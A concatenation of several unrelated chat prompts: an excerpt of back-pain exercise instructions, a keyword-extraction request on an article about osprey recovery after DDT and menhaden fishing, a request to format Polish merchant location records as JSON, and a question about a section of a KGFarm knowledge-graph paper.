knees and put your feet in a flexed position so that your heels are on the ground and the balls of your feet and toes are off of the ground as pictured.\nStep 4: Squeeze your buttocks together as if you were trying to pinch a coin between them.\n\nStep 5: Here’s the tricky part: Using the glutes, lift your hips/torso off of the ground without moving your lower back. You should not articulate the spine and roll up “one vertebra at a time.” You want to do the opposite of that. You want to lift the torso in one solid piece while maintaining your neutral spine. No movement should take place in the lower back.\nStep 6: Hold for five to ten seconds (remember these are suggestions. Hold to your tolerance in the beginning, with ten seconds being your goal). You should feel the muscles in both sides of your buttocks working relatively equally.\nStep 7: Lower your back down to the starting position without losing your neutral spine. Again, do not articulate the spine on the way down. In other words, do not roll the spine down onto the floor one vertebra at a time.\nStep 8: Repeat Steps 2 through 7, and do five to ten reps, with ten being your long-term goal.\nTROUBLESHOOTING\n• Hamstring cramping. If your hamstrings cramp (the muscles that run down the underside of your thighs), gently push your feet into the floor away from you before you lift your hips/torso off the ground.\n• Knee pain. If one or both of your knees hurt, lightly press your knees outward before lifting your hips/torso off the ground.\n• Unable to maintain neutral spine. Start by trying to lift your hips/torso only an inch off the ground. Slowly progress to a full bridge over the next few weeks.\n• Unable to feel glutes working. Go to Chapter 13. Then come back and start with the following regression.\n• If your back hurts with this exercise, proceed to the Buttock Squeezes regression on the next page. Try these for a few days or weeks and then come back and try the bridge again, making sure to follow instructions meticulously. If your back still hurts, you may have a spinal condition like severe stenosis that makes you sensitive to extension in the spine. If this is the case, this exercise might not be for you.\nCommon Mistakes\nThe most common mistake for back patients with the bridge exercise is that they use their hamstrings instead of their glutes to bring the hips up into position. If your hamstrings are cramping, then you aren’t using your glutes enough. Go to Chapter 13 and practice “waking up your glutes,” and then come back to this exercise and try it again.\nREGRESSION\nButtock Squeezes\nIf you don’t have the strength or control yet to perform a single bridge exercise properly for any amount of time, start with buttock squeezes.\n1. Lie on your back, with arms at your side, knees bent, feet hip-width apart.\n2. Find your neutral spine and brace your core to lock it in.\n3. Squeeze your buttocks together as if trying to squeeze a coin between them.\n4. Hold for ten seconds.\n5. Do ten reps.\nPROGRESSION\nOne-Leg Bridge\nOnce you have mastered the bridge and are able to do it with relative ease and with no discomfort in the back, you may want to progress to the one-leg bridge. You do not have to progress to this exercise. Depending on your spinal condition and your fitness level, you may not need to progress this far. This progression is for those who are reasonably fit and plan to be very active in sports, exercise, or outdoor activities.\n1. Follow all rules for the bridge.\n2. Once your hips and torso are off the ground, give extra care to make sure your core is braced as firmly as possible.\n\n3. Slowly extend one leg at the knee without letting the hips/torso drop on that side. You will feel the glutes of the other stabilizing leg kick in as you extend the leg.\n4. Hold five to ten seconds.\n5. Slowly bring the extended leg back to the bent-knee starting position. (Do not lower your hips/torso while doing this. Maintain the bridge position with a neutral spine until your foot is back on the floor.)\n6. Slowly lower your hips/torso back to the starting position on the floor without articulating the spine.\n7. On the other side, repeat Steps 1 through 6, making sure to come up into a full bridge and lock your core in place before extending the leg at the knee.\nCommon Mistakes\n• When you go to one leg, it is easy to “cock” your hips to one side, to make it easier. Don’t do that. Keep your thighs parallel during the whole exercise. If you can’t, you aren’t strong enough yet for this exercise.\n• Regarding extending the leg as you come up/bending the leg down as you go down: Make sure to come up into a full bridge and lock your spine before you try to extend the leg. Conversely, make sure you bring the leg all the way back in before coming down to the starting position.\n• Do not bring the thigh of the extended leg up. Make sure your thighs remain parallel so that you have to use the gluteal muscles to keep the pelvis stable.\nEXERCISE 3\nCrunch and Plank\nWe discuss these two exercises together because they both do a lot of the same things, and some of you will not get to the plank and that’s okay. The plank will take you a bit further toward returning to strenuous activities, but the crunch is enough to get you out of pain. The purpose of the crunch and the plank is to build endurance and strength in the abdominal wall (crunch and plank) and glutes and lats (plank) and to increase spinal stability. Very few back pain sufferers are strong enough to do a plank properly in the beginning and must do crunches for a while before attempting the plank.\nCrunch\nFirst of all, this exercise is not a sit-up. Sit-ups (the traditional “Army sit-up,” where you pull yourself into a full sitting position) have been proven to be very risky to the spine. They run dangerous loads through the lumbar discs. If you wanted to develop a way to herniate a disc in a lab, a sit-up would be a good candidate for it. Crunches, unlike full sit-ups, do not allow movement in the lumbar spine. Your lumbar spine stays in neutral throughout.\nStep 1: Lie on your back, with your arms at your side, legs hip-width apart.\nStep 2: Find your neutral spine and brace your core to lock it in.\n\nStep 3: Place your hands behind your head, if possible. If you can’t, because of shoulder discomfort, that’s okay. Find a comfortable position for your hands.\nStep 4: Gently draw your chin in toward your neck, giving yourself a “double chin.” Hold this position throughout the exercise.\nStep 5: Slowly and carefully raise your shoulder blades and head toward the ceiling an inch or two, giving a moderate squeeze in the abdominal muscles without flattening or rounding your lower back. Keep a neutral spine; this will be harder than you think. Only bring your shoulders off the floor as far as you can without moving your lower back. The max distance, when you’re great at it, would be no more than, say, four inches.\n\nStep 6: Hold five to ten seconds, with ten being the goal.\nStep 7: Slowly return to the starting position without moving your lower back.\nStep 8: Repeat Steps 1 through 7, for five to ten reps, with ten being the goal.\nTROUBLESHOOTING\n“My neck hurts.” First, you shouldn’t be pulling your head with your arms. Your arms/hands are there only to provide a little support to your head and neck. Make sure that you pull your chin in toward your neck before initiating the exercise. This will engage your deep neck flexors that support the spine. If this does not relieve neck pain, move to the Regression.\nCommon Mistakes\n• The most common mistake is flattening or (worse) rounding the back. It is crucial that you not make this mistake. Doing crunches while continually rounding or flattening the back will promote spinal instability, the opposite of our goal. Details matter!\n• Chin jutting. If your chin is poking out toward the ceiling with each rep, you are not stabilizing your cervical spine and your neck extensors are taking over. Make sure to draw the chin in toward your neck before each rep.\nREGRESSION\nAbdominal Contractions\nDo this exercise until you build up enough abdominal strength to accomplish the crunch.\n1. Start in the same position as for the bridge.\n2. Place one hand behind your lower back and one hand inside your front hipbone beside your navel.\n3. Squeeze your abdominal muscles without flattening or rounding your back. You should feel your back being still with one hand and the abs engaging with the other hand.\n4. Hold for five to ten seconds, with ten being the goal.\n5. Repeat for several reps until fatigue sets in.\nPROGRESSION\nPlank\nOnce you have mastered the crunch and are able to do crunches with relative ease and without pain or movement in the lower back, try the plank. This is a great exercise to build increased core stability, endurance, and strength. Some of you (especially those with severe stenosis) may never be able to do a plank. That’s okay. Give the plank a try, and if it doesn’t work for you, stay with crunches. If you do go on to the plank, follow the directions closely; most people do this exercise incorrectly.\n\n1. Lie facedown with your forehead on the floor and your arms flat on the floor on either side of you, elbows bent and palms down.\n2. Find your neutral spine and engage your core to lock it in.\n3. Squeeze your glutes together and squeeze your feet together.\n\n4. Come up onto your forearms and knees with your elbows below your shoulders.\n5. Lift your knees off of the floor so you are now on your toes and forearms.\n6. “Traction” your forearms into the floor. In other words, press them into the floor and back toward your feet at the same time. Your forearms shouldn’t move; you are just creating a pulling force into the floor and down toward your feet. This should make you feel more contraction in your lats and lower abdominal muscles.\n\n7. Hold for five to ten seconds, with ten being the goal.\n8. Slowly put your knees back down first. Do not let your hips/pelvis go to the floor first; this would put your back into extension and may cause pain.\n9. Repeat Steps 1 through 8, for two to five reps, with five being the goal.\nTROUBLESHOOTING\n• “This hurts my lower back.” Some people just can’t do a plank. Even if they do it the right way, it still aggravates their back. If you can’t do a plank, drop it and stick with crunches. But first, be sure that you can’t do it. For example, if your lower back is hurting, try sticking your buttocks in the air a little more. It could be that your hips are sagging toward the floor, putting your back into extension. Also, make sure the core is fully engaged before moving from knees to toes. Lastly, make sure you are squeezing your buttocks, which will support the lower back. If none of that works, forget it; stick with crunches.\n• “This hurts my shoulders.” Make sure you are tractioning your forearms down into the floor and back toward your toes. This engages the supportive muscles of the rotator cuff. If this doesn’t help, try the regression that follows.\nCommon Mistakes\n• Feet and legs are not together, which makes gluteal engagement more difficult.\n• Back is up but the hips are dropping toward the floor. This will cause back pain in people with conditions such as stenosis or facet syndrome.\n• You’re forgetting to pull shoulders back and forearms into the floor with chin jutting. This will cause an increase in pressure in the shoulders and/or neck, resulting in shoulder and neck pain.\nREGRESSION\nPlank on Knees\nIf you aren’t quite ready for plank but think crunch is just too easy, try this one.\n1. Lie facedown with your forehead on the floor and your arms flat on the floor on either side of you, elbows bent, palms down.\n2. Find your neutral spine and engage your core to lock it in.\n3. Squeeze your glutes together and squeeze your feet together.\n4. Come up onto your forearms and knees with your elbows below your shoulders (see illustration, for the plank).\n5. Traction your forearms into the floor, pulling them into the floor and back toward your feet at the same time. Your forearms shouldn’t move; you are just creating a pulling force into the floor and back toward your feet. This should make you feel more contraction in your lats and lower abdominal muscles.\n6. Hold for five to ten seconds, with ten being the goal.\nEXERCISE 4\nDynamic Hamstring Stretch\nCAUTION\nThis exercise may irritate symptoms of people with active radiculopathy, such as severe leg/foot pain, and numbness or tingling in the legs or feet. If you have these symptoms, start with caution; you may not be able to do this exercise. If this exercise exacerbates your leg or back symptoms, skip it for now and come back to it when the symptoms are resolved.\nThe dynamic hamstring stretch helps to improve mobility in the hips and also helps to reinforce and strengthen your ability to maintain a neutral spine while moving the legs. It also builds endurance and strength in the core.\nStep 1: Lie on your back and find neutral spine.\nStep 2: Brace the core to lock in neutral spine.\n\nStep 3: Bend one leg at the knee with your foot flat on floor. Straighten out the other leg onto the floor, with foot flexed (toes pointed up).\nStep 4: Carefully raise the straight leg without losing your neutral spine; in other words, make sure your lower back isn’t flattening into the floor as your leg comes up. To check, put one of your hands underneath your lower back and feel for movement. Raise the leg only as high as you can without flattening your back into the floor. \nStep 5: Do ten to twenty repetitions on each leg. Do as many as needed to feel that you have mildly stretched your hamstrings and worked your core.\nCommon Mistake\nFlattening the back into the floor as you bring the leg up. Remember, one of the most important points of these exercises is to teach you neutral spine/spinal stability. You do not want to accomplish an increase of movement speed at the expense of spinal stabilization. Bring up your leg only as high as you can without flattening your back or bending your knee. Increasing hamstring flexibility will come with time.\nEXERCISE 5\nSide Plank\nThe side plank works the muscles on the lateral (side) parts of the core, such as the obliques, gluteus medius, and quadratus lumborum. This exercise is a very important one. I mention this because almost everyone hates doing it. But don’t give up: Your back depends on it. Many readers will not be able to do this exercise at first because their core is weak. Don’t worry. There are regressions (easier exercises) for those of you who can’t do this one yet.\nStep 1: Start by lying on your side, propped up on your forearm, with your elbow under your shoulder. Relax the other arm for now. Pull your lower arm shoulder blade inward toward your spine and downward toward your buttocks, engaging the lat muscles.\nStep 2: Drop your hips back a bit so that they sit behind your feet and shoulders.' +'Please extract keywords from this: Lessons from the Osprey Garden\nMuch of biologist-naturalist Paul Spitzer’s life has moved in time with the seasonal rhythms of one bird, the osprey, and one place—the “osprey garden.”\n\nIn late spring he paddles his canoe into the Great Island saltmarsh, 500 acres of prime osprey habitat where the Connecticut River flows into Long Island Sound. In this marshy inlet, Spitzer checks for action in nests among 35 osprey platforms that have been erected here since the late 1950s. As he disembarks, the resident ospreys take to anxious flight. He raises a pole topped with a mirror over a platform nest. These days, he sees abundant breeding success in the mirror’s reflection—three healthy young birds with ragged crests and brown-spangled wings. But it wasn’t always this way.\n\nSpitzer first stepped onto Great Island nearly 60 years ago, as an 11-year-old boy in 1957. That year, he accompanied birding legend Roger Tory Peterson on a Christmas Bird Count. Thus began a mentorship that set Spitzer onto a career path to becoming a ecologist.\n\nWhen Spitzer graduated from college, Peterson urged him to take up the question of what was causing a sudden and drastic decline among the ospreys.\n\n“At that time, the curtain was rising on the great DDT drama,” says Spitzer.\n\nFrom the 1960s through the 1970s, Spitzer watched ospreys almost disappear from Connecticut, and he pioneered experiments that helped establish DDT as a cause of their decline. He has also seen ospreys make a triumphant recovery in the Connecticut River estuary. And with more than 300 active nests recorded in the state today, he is now turning his attention below the water, where the next challenge for osprey is a vanishing fish.\n\nThe Discovery of the Perils of DDT on Osprey Populations\nPeterson tracked the decline of local ospreys from 150 in the 1950s to just 13 in 1965. He and his wife Barbara tried to help the ospreys by building dozens of nest platforms to protect their nests from predators such as raccoons. But the birds still weren’t bringing forth fledglings. Food didn’t seem to be a problem—there was no shortage of menhaden, the large-headed bait fish that is one of the osprey’s primary food sources in Long Island Sound. Spitzer had spent hours watching the fish hawks rising from the water with menhaden nearly a foot long in their oversized talons.\n\n“Roger began to suspect DDT,” Spitzer says. In the 1940s and ‘50s, DDT was used to control mosquito populations in residential areas, especially along coasts and near wetlands. “He had a hunch the ospreys were ingesting the DDT from fish. Rachel Carson’s findings were informing our discouraging field studies, and I was cutting my teeth as an ecologist studying this new paradigm of environmental toxicology.”\n\nDuring nest checks, Spitzer found thin-shelled, collapsing eggs and was re-minded of a British study that showed similar thinning in peregrine falcon eggs.\n\nShortly after receiving his biology degree from Wesleyan University, Spitzer had the idea to isolate local ecological effects in Connecticut by switching eggs in osprey nests there with eggs from a healthy population of breeding osprey near Chesapeake Bay.\n\n“Not nearly as much DDT was applied to Maryland saltmarshes, and it was probably diluted in the far larger Chesapeake system,” says Spitzer. By performing the switch, he could isolate whether the problem was with local environmental conditions or intrinsic to the Connecticut eggs.\n\nThe Patuxent Wildlife Research Center in Maryland signed on to Spitzer’s idea and provided staff to collect eggs. From the outset, Spitzer saw the Maryland eggs hatch healthy chicks in Connecticut, but not vice versa.\n\n“The embryos in Connecticut eggs died, and we found the shells to be thin by simple measurement,” he says. “We also found dented or collapsed eggs in some Connecticut nests.” None of these problems affected the Maryland eggs.\n\nNext, he arranged transfers of young nestlings from Maryland to Connecticut, to look beyond egg problems. The results were the same: “Virtually all the Maryland nestlings fledged in Connecticut, [so there were] no problems with food at this time. The failure was egg viability,” Spitzer says. Later lab tests revealed DDE (a breakdown product of DDT) as well as PCBs and another organochloride, dieldrin, at much higher concentrations in the Connecticut eggs compared to the Maryland eggs.\n\n“All signs pointed to Roger’s hunch being right, that it was DDT,” he says.\n\nDDT was banned in Connecticut in 1972, and two years later osprey numbers on Great Island bottomed out, with just a single nest remaining as the vestiges of DDT made their way out of the ecosystem.\n\nToday, there are approximately 100 active nests at Great Island and the overflow is helping populations at nearby Gardiners Island and eastern Long Island grow. Statewide, the Connecticut Audubon Society’s osprey nation monitoring project recorded 337 active nests in 2016, and 490 fledged young throughout the state—a rate nearly double that which Spitzer had calculated was necessary for a stable osprey population.\n\nNumbers like these, along with steady positive trends along Breeding Bird Survey routes, help explain why breeding ospreys are now abundant and widespread in Connecticut and throughout the eastern United States. Spitzer points to a combination of factors including an increase in artificial nest sites, a decrease in harmful residues in their food sources, and continued high levels of food availability, particularly Atlantic menhaden.\n\nOsprey and Menhaden\nFor the last three summers the Connecticut Audubon Society has sponsored Spitzer’s ongoing work in the Connecticut River estuary, but the aim of the research has now shifted to monitoring the relationship between osprey and menhaden. As in the 1960s, Spitzer’s attention is again focused on Great Island, now fittingly protected as a Roger Tory Peterson Wildlife Area. During June and July, Spitzer has documented that the ospreys’ diet is 95 percent to 100 percent menhaden. Spitzer says the story is much the same from Connecticut to Virginia, with menhaden-fueled osprey nesting colonies experiencing a revival.\n\n“Over 50 years of osprey study, we have moved from the sad story of DDT-induced egg failure and a declining population to the happy story of abundant ospreys,” Spitzer says. “Our ongoing legacy from osprey study must be the management of the East Coast ecosystem for abundant menhaden. We have to leave enough menhaden in the water to perform their precious and essential eco- nomic and ecological functions.”\n\nRich in oils and fat, menhaden live in Atlantic coastal waters from Nova Scotia to northern Florida, but reach peak abundance in the Chesapeake Bay. In addition to serving as the primary food source for breeding ospreys and their chicks along the New England coast, menhaden are also a main food source for striped bass and bluefish. And, they constitute a significant fishery for people—second only to pollock among the ranks of fish harvested by volume in the United States. But people don’t eat menhaden for dinner. They process it into other forms, mostly pills.\n\nMost of the nearly 200,000-metric-ton annual menhaden catch is rendered into omega-3 fatty acid fish oil for the health supplement industry. And most of that catch comes via purse-seine fishing, in which two fishing boats circle around a single school of fish and enclose it within a gigantic net. These operations are extremely efficient at catching huge volumes of fish. Only one state (Virginia) currently allows purse-seine fishing of menhaden, but the fish caught in the Chesapeake Bay and Virginia waters account for 85 percent of the total menhaden harvest. \n\nBecause a large share of the range-wide menhaden population is clustered in the mid-Atlantic region, harvests there have a significant effect on the population as a whole. As the fish-oil market boomed in the 1990s and 2000s, menhaden populations began to dwindle. In 2010 stocks hit a 54-year low. In 2013 the Atlantic States Marine Fisheries Commission reduced the quota of commercial menhaden harvest by 20 percent. Spitzer attributes the recent robust East Coast osprey populations to the renewed health of the menhaden fishery following these new rules.\n\n“It was a huge win,” says Spitzer.\n\nBut now, many ocean conservationists say menhaden are once again coming under intense fishing pressure. In 2015 and 2016, the quota was increased by about 10 percent, and the menhaden quota for 2017 has been increased by about 6 percent from 2016. Some industry representatives are suggesting that the menhaden quota could be raised by up to 30 percent without harming the overall fishery. Spitzer thinks the ASMFC should be more conservative in what it allows so that the menhaden population doesn’t crash again, as it did earlier this decade. He also thinks the continued abundance of menhaden is critical to the continued abundance of ospreys. \n\n“It is a great blessing to have been able to study ospreys for 50 years and counting. I have observed so many positive outcomes for these birds over the years,” Spitzer says. “Decisions about menhaden now will affect not only fish, but birds, coastal ecosystems and, in the end, every one of us.”' +'provide json like this for answer\n{\n "ANNA AUGUSTOWSKA": {\n "latitude": 51.0999,\n "longitude": 17.0299,\n "mcc": 5812,\n "merchant": "Anna Augustowska",\n "location": {\n "address": null,\n "city": null,\n "country": "PL"\n }\n },\n "AUCHAN POLSKA SP. Z": {\n "latitude": 51.7789,\n "longitude": 19.4424,\n "mcc": 5411,\n "merchant": "Auchan",\n "location": {\n "address": "ul. Brzezińska 27/29",\n "city": "Łódź",\n "country": "PL"\n }\n }}\nANNA AUGUSTOWSKA 51.0999 17.0299 5812\nAUCHAN POLSKA SP. Z 51.7789 19.4424 5411\nZABKA Z5782 K.1 50.4422 30.6196 5499\nSKLEP LIDL 1221 WRO 51.0763 17.0068 5411\nLIDL WIELICKA 50.0345 19.9685 5411\nJMP S.A. BIEDRONKA 6126 51.2494 22.5758 5411\nMARKET MAJA 48.0623 33.4977 5499\nZABKA Z6300 K.1 51.2191 22.7011 5499\nKAUFLAND PL 7962 51.0923 17.031 5411\nCARREFOUR LODZ PRZYBYS 51.7515 19.5022 5411\nPARFOIS AC1 50.0537 19.9556 5631\nMPSA - A 323 52.1787 21.0031 4111\nLPP CROPP 1512157 50.0671 19.9463 5651\nZABKA Z8793 K.1 51.0588 16.1772 5499\nSALAD STORY Wroclav 51.0963 17.0337 5812\nSTOKROTKA 1208 51.7179 19.4821 5499\nBilety Urbancard Wrocl 51.104 17.0304 4111\nMARKET PUNKT 50.0752 19.9292 5411\nKAUFLAND 01 53.4415 14.5554 5411\nAUCHAN POLSKA SP. Z 51.4258 21.1544 5411\nInmedio 31105 51.3816 21.1695 5994\nGREEN COFFEE 52.2332 21.013 5814\nCARREFOUR HIPERMARKET 52.2312 21.105 5411\nCIRCLE K KATOWICE, 50.2762 19.0177 5541\nZABKA Z7836 K.1 50.4422 30.6196 5499\nSTACJA PALIW KORYCIN 53.45 23.0897 5541\n2484420/8442/1667 52.2636 21.0196 4789\n3 BRZECZKOWICE MANUAL 2) 50.1966 19.1853 4784\nJMP S.A. BIEDRONKA 4110 52.2013 21.0337 5411\nZABKA Z4067 K.1 50.4422 30.6196 5499\nSHELL 11 51.7558 19.4707 5541\nMPSA - A 309 52.1681 21.018 4111\nMcDonalds 23 52.2278 21.0021 5814\nLIDL BOH. WARSZAWY 52.1711 20.813 5411\nZABKA Z6100 K.1 52.2283 21.0033 5499\nZABKA Z7811 K.1 51.0588 16.1772 5499\nLIDL WILENSKA 52.2579 21.0409 5411\nJMP S.A. BIEDRONKA 403 50.0428 19.9687 5411\nZABKA Z6932 K.1 51.0588 16.1772 5499\nZABKA Z3489 K.1 51.0588 16.1772 5499\nZABKA Z5582 K.1 50.4422 30.6196 5499\nBILETOMAT BILET ZTM 52.2297 21.0218 4111\nH&M 50.0663 19.9465 5651\nul. Pawia 5 50.0682 19.9463 6011\nJMP S.A. BIEDRONKA 528 52.2303 20.9939 5411\nJMP S.A. BIEDRONKA 166 50.8676 20.6204 5411\nSPAR EXPRESS 50.0356 19.9996 5411\nPEPCO 110336 KATOWICE 50.262 19.0192 5651\nSKLEP LIDL 1760 50.261 19.0089 5411\nBATEX -VENDING 52.106 20.8227 5814\nIKEA Retail Sp. z o 52.3057 21.0826 5812\nAUCHAN POLSKA SP. Z 51.4259 21.1547 5411\nJMP S.A. BIEDRONKA 4419 52.272 20.9602 5411\nZABKA Z3205 K.1 50.0702 19.9362 5499\nPEPCO 1012 WARSZAWA 26 KO 52.2418 21.1601 5651\nPOLREGIO EN63 001 49.8285 22.6494 4111\nul. Ordona 7 52.2256 20.9526 6011\nJMP S.A. BIEDRONKA 558 51.0968 17.036 5411\nZARA GALERIA MOKOTO 52.1806 21.0039 5699\neLeclerc 50.0193 22.0196 5411\nMORSKIE OKO I REST. 50.0637 19.9361 5812\nCIRCLE K WARSZAWA, 52.3148 20.9777 5541\nSKLEP LIDL 1941 51.1113 17.0066 5411' +'what about this section:\n\nThe Farm Governor is the core component of KGFarm which is\nresponsible for constructing and maintaining the Farm knowledge\ngraph for feature discovery and data preparation. Figure 3 illustrates\nthe Farm graph which encapsulates the following:farm:hasMulti-\nFarm graph\nbank\\_stats.csv\ncustomer\\_id\ncredit\\_score\nfeature view 01\ncustomer\ncustomer\\_phone customer\nfarm:hasOptionalEntity 1.0\nfarm:hasDefaultEntity 1.0\nfarm: representedBy\nfarm: representedBy\nfarm: hasFeatureView\nrides.csv\ndriver\\_id\npassenger\\_id\nfeature view 02\ndriver\npassenger\namount\n-pleEntities\n0.90\nmarital\nmembership\nrating\nfarm: hasFeatureView\nfarm: representedBy\nStandardScaler\nOrdinalEncoder\ninterpolate\nfarm: representedBy\nS1\nS2 S3\nS4\nS1\nS2 S3\nS4\nS5 Pipeline graphs\nentity feature view table columnoperations statement\n-pleEntites 0.65\nfarm: hasMulti-\nFigure 3: An overview of the Farm graph, which provides\nabstract entities and feature views over physical columns\nand tables in the data lake to automate feature discovery and\ndata preparation.\nEntity. Entities are nodes in KGFarm that represent distinguished\nreal-world objects whose properties are explained by an indepen-\ndent set of features. The entity itself has one or more physical rep-\nresentations. For example, in Figure 3 entity customer can be physi-\ncally represented by the customer\\_id column or the customer\\_phone\ncolumn. In feature discovery and data preparation, entities are\nneeded for feature retrieval and enriching data via join operation.\nFeature view. Feature views are also nodes in KGFarm which\nare an abstraction over a table that provide a logical grouping of\nfeatures describing one, multiple, or no entity. The group of features\nhere is simply the list of physical columns in a table that contains an\nentity. For example, in Figure 3, the table bank\\_stats.csv is abstracted\nas feature view 01 which has a default entity customer described\nby the features credit\\_score, marital, etc. While performing data\npreparation with KGFarm, feature views provide the data scientist\nwith an organized view of all the discovered entities alongside their\nfeatures in the data lake.\nData preparation operations. Data preparation operations are\nnot dedicated nodes but concepts in KGFarm. These are queried\non the fly by exploiting the linking between pipelines, tables, and\ncolumns provided by KGLiDS [8] and abstraction enabled by KG-\nFarm. The pipeline graphs made available by KGLiDS are queried\nto fetch task-specific data preparation operations. These operations\ninclude several transformations provided by sklearn.preprocessing3\nlike StandardScaler, OrdinalEncoder, etc. along with various\ndata cleaning techniques provided by pandas.DataFrame 4 like\ninterpolate, fill, etc. A few examples of these operations can be seen\nin Figure 3 which includes StandardScaler transformation being\napplied to the credit\\_score feature which describes the customer\nentity in feature view 01.\nTo store such a succinct graph in a standardized way, we\n3https://scikit-learn.org/stable/modules/classes.html#module-sklearn.preprocessing\n4https://pandas.pydata.org/docs/reference/frame.html\n3\ndeveloped an ontology for feature discovery and data preparation:\nthe Farm ontology. The following subsections discuss in detail\nthe Farm ontology followed by the approach adopted by the Farm\nGovernor to automate the discovery of entities, feature views, and\ntheir linking to physical data science artifacts.\n3.1 The Farm Ontology for low-code Data\nPreparation\nThe Farm graph builds on top of the LiDS knowledge graph [ 8]\nprovided by KGLiDS and follows the RDF standard [ 16 ] and Uniform\nResource Identifiers to represent the graph structure, promoting\nshareability and making it easily publishable on the internet. The\nFarm ontology is defined using the Web Ontology Language (OWL\n2) to facilitate interoperability and data sharing on the Web and\nacross platforms. As illustrated in 3, the Farm graph primarily\ncomprises 2 classes: entity and feature view, and 5 object properties\nthat represent the following using unique URIs:\n• The relationship between a physical ta-\nble and a feature view, represented by\nhttp://kgfarm.com/ontology/hasFeatureView.\n• The relationship between an entity and a physical table,\nrepresented by http://kgfarm.com/ontology/representedBy.\n• A feature view with a single entity, represented by\nhttp://kgfarm.com/ontology/hasDefaultEntity.\n• A feature view with multiple entities represented by\nhttp://kgfarm.com/ontology/hasMultipleEntities.\n• A feature view with optional physical rep-\nresentation for an entity, represented by\nhttp://kgfarm.com/ontology/hasOptionalEntity.\nThe Farm and LiDS ontology together make it convenient to\nretrieve data preparation operations applied on a specific fea-\nture or an entire feature view. Querying these operations is\ndone in three steps. Firstly, the pipeline graphs presented as\nnamed graphs in KGLiDS are queried to retrieve the columns\non which the sklearn.preprocessing or pandas.DataFrame oper-\nations were used to perform data transformation or cleaning.\nSecondly, using the physical columns retrieved from the first\nstep, tables containing these columns are fetched by utilizing the\nhttp://kglids.org/ontology/isPartOf property offered by the LiDS on-\ntology. Lastly, using the http://kgfarm.com/ontology/hasFeatureView\nproperty, the needed feature view can be fetched which comprises\nall the necessary information concerning the features and their\nentities.\nOnce the Farm graph is hosted across the enterprise, data sci-\nentists can leverage the graph structure to automate many data\npreparation problems by writing SPARQL queries directly or by\naccessing several KGFarm APIs which automate many feature dis-\ncovery and data preparation tasks with minimal or low-coding\nefforts. These APIs query the Farm graph in real-time to empower\nthe data scientist to:\n• Have a quick look at the entities and feature views that\nexist in the data lake\n• Update the physical representation of an entity.\n• Drop feature views directly from the graph.\n• Enrich data using the physical representation of the entities\nas join keys.\n• Fetch data transformation and cleaning techniques applied\nto features and tables.\n• Retrieve features selected by other data scientists in similar\nmachine learning tasks.\nMore details about the KGFarm APIs are provided in 4.\n3.2 Farm graph construction and Entity, Feature\nview automation\nTo abstract entities and feature views in the Farm graph, Gover-\nnor utilizes 1) a machine learning classifier to discover Primary\nkey-Foreign keys and 2) column statistics across datasets of the\ndata lake encapsulated by KGLiDS. The process of the Farm graph\nconstruction consists of two steps as formalized in algorithm 1.\nGeneration of feature view per table: A feature view node is\ngenerated for each table in the data lake. The feature view node\nis then linked to the corresponding physical table by creating a\nhasFeatureView relationship. The feature view nodes are later linked\nto their corresponding entities.\nEntity discovery and linking entity to feature view: To dis-\ncover entities, Governor queries the uniqueness and missing value\ncounts of all the column nodes. If a column has high uniqueness\n(represented by 𝛼 in Algorithm 1) of 95% or more and has no missing\nvalues, an entity node is generated and linked to the column node by\ncreating a representedBy relationship. If there is a single column in\na table respecting these conditions, the entity node for the column\nis linked to the feature view which abstracts the table by creating a\nhasDefaultEntity relationship. For tables with multiple columns re-\nspecting these conditions, the column with the highest uniqueness\nand the most number of Primary key-Foreign key pairs is selected\nas the default entity while others are linked to the feature view by\na hasOptionalEntity relationship. A case exemplifying the same can\nbe seen in Figure 3 where for Feature\\_view\\_01, entity customer with\ncustomer\\_id as its physical representation is appointed as the de-\nfault entity and the other with customer\\_phone is appointed as the\noptional entity. This is justified in the above example because the\ncustomer\\_id column will typically have more Primary key-Foreign\nkey relations as compared to the customer\\_phone column. The fea-\nture view nodes of the tables that are left unlinked to any entity are\nthen reiterated as they consist of columns with low uniqueness. In\nthis case, if a table consists of columns with a Primary key-Foreign\nkey relation, an entity node is generated and linked to the column\nnode by creating a representedBy relationship. For tables contain-\ning a single column with Primary key-Foregin key relation, the\nentity node for that column is linked to the feature view which\nabstracts the table by similarly creating a hasDefaultEntity relation-\nship. However, tables containing multiple columns with Primary\nkey-Foreign key relations are linked to the corresponding feature\nview by creating a hasMultipleEntities relationship. An example of\nsuch cases can also be seen in figure 3 where the feature\\_view\\_02\nis linked to two entities, entity driver represented by the driver\\_id\ncolumn and the entity passenger represented by the passenger\\_id\ncolumn which belongs to the rides.csv table. The tables with the\nfeature view nodes that are still left unmapped are treated as feature\nviews with no entity as they do not contain any column with high\nuniqueness or Primary key-Foreign key relations.\n\n3.3 Primary key-Foreign key discovery\nOur quest to find the entity associated with a table in a dataset\nhighlights the need to recognize Primary key-Foreign key pairs\nwithin the dataset. Primary key-foreign key extraction is valuable\nin dataset with no column uniqueness as well as datasets with\nmultiple columns with high uniqueness. In cases where no column\nin the table is unique, the primary key of the table is the most\nprobable candidate to be the physical representation of the entity.\nIn cases where there are multiple columns with a high uniqueness,\nthe frequency with which a column is referenced as a foreign key\nin other datasets serves as a tie breaker to identify the column\nrepresenting the entity, with the most referred column being the\nmost probable candidate.\nOverview: Given that all primary key-foreign key pairs have a\nhigh degree of content similarity (CS), a list of pairs with content\nsimilarity was compiled by querying KGLiDS [ 8]. Content similar-\nity was used to obtain the short list of primary key-foreign key\ncandidates as it is lightweight and is more likely to be extracted by\nprofilers compared to Inclusion Dependencies (IND) which is the\nmethod used it the current state of the art primary key-foreign key\nextractor [18]. A binary classification algorithm was then used to\nclassify the pairs as primary key-foreign key pairs or non-primary\nkey-foreign key pairs. Nine features were extracted from both the\ndatasets and the knowledge graph and were used to train the data.\nThe data was undersampled using a 1:3 ratio and the model was\ntrained using a 5 fold Cross validation with sklearn’s naive-bayes,\nrandom forest and SVC classifiers.\nFeatures: Six of the nine features used to train the model were\nobtained by querying KGLiDS [ 8 ], resulting in a more rapid feature\nextraction process. These features and their implementations can\nbe found in Table 1.\nF1: Distinct Dependent Values. The predicate\ndata:hasDistinctValueCount from the graph was used to\nobtain this feature.\nF2: Coverage. The coverage is defined by the similarity of the\nprimary key and foreign key, and is defined by the graph predicate\ncalled data:hasDeepEmbeddingContentSimilarity.\nF3: Dependant and Referenced. This feature is describes as the\nnumber of times that a foreign key value is used as a primary key\nvalue. We used the column names to determine how many times in\nthe list of pairs was a column designated as a foreign key column\nused as a primary key column.\nF4: Multidependant. This feature is describes as the number of\ntimes that a foreign key value is used as a foreign key value in other\ncolumns. We used the column names to determine how many times\nin the list of pairs was a column designated as a 